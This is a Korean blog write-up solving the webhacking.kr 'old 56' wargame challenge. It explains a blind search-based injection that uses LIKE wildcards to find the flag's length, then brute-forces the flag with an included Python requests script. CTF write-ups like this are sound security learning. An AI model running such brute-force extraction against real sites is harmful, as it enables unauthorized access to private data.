본문 바로가기

웹해킹/webhacking.kr

webhacking.kr old 56번 문제풀이(Writeup)

반응형

webhacking.kr old 56번 문제풀이(Writeup)

old 56번 문제풀이 1

문제를 들어가면 위와 같이 출력된다.  이번 문제도 SQL Injection 문제인 것 같다. 게시판 형태의 SQL 문제가 나오면 columns 값을 찾아서 필요한 내용을 출력하는 문제가 많았다. 하지만 search에서 union select를 아무리 해도 결과값이 나오지가 않아서 다른 방법을 찾았다. 

 

 

 

old 56번 문제풀이 2

다른 게시판 문제를 풀 때는 search에서 안에 내용을 기반으로 검색을 했다. 따라서 안에 내용이 포함되면 검색 결과에 나왔고, 불일치하면 나오지 않았다. 그래서 검색을 돌려보니 hi했을 때는 admin만 결과로 나왔고, hello를 했을 때, guest가 나왔다.

 

 

old 56번 문제풀이 3

이 모습을 보니, exploit코드로 Blind SQL Injection 할때처럼 공격을 주입하면 flag를 맞출 수 있을 것이라고 생각했다.

따라서 앞에는 "flag{"로 시작할 것이다. 또 와일드카드(_)를 통해 몇자리인지 맞춰봤다. 44자리까지는 결과가 출력되는데 45개부터는 결과 값이 없어진다. 따라서 44개로 해서 내용을 맞춰보기로 했다.

 

 

old 56번 문제풀이 4

exploit코드를 짜서 실행해보니 %가 계속 출력된다. 생각해보니 %도 와일드카드여서 %는 제외하고 exploit코드를 작성해야 한다.

 

 

import requests
URL="https://webhacking.kr/challenge/web-33/index.php"
cookie = {"PHPSESSID":"1iekt4q9nbhhs8chjdi6n5ejqa"}

pw='flag{'
for i in range(5,45):
    for j in range(33,133):
        if j == 37:
            continue
        data = {"search":pw+chr(j)}
        r = requests.post(URL, cookies=cookie, data=data)
        if "admin" in r.text:
            pw += chr(j)
            print(pw)
            break

exploit 코드는 다음과 같다. 먼저 "flag{ "까지 알고 있으니 반복문은 5에서부터 시작해서 44까지 돌아간다. 그 안에서 "%"는 와이들 문자이기에 제외하고, search가 post메소드이기에 data에 넣어서 전달한다. r 텍스트에 admin이 있으면 맞는 flag 문자고 아니면 넘긴다.

 

 

 

old 56번 문제풀이 5

마지막 문자는 당연히 '}'일 것이다. flag를 입력하면 점수가 들어온다.

 

 

 

 

728x90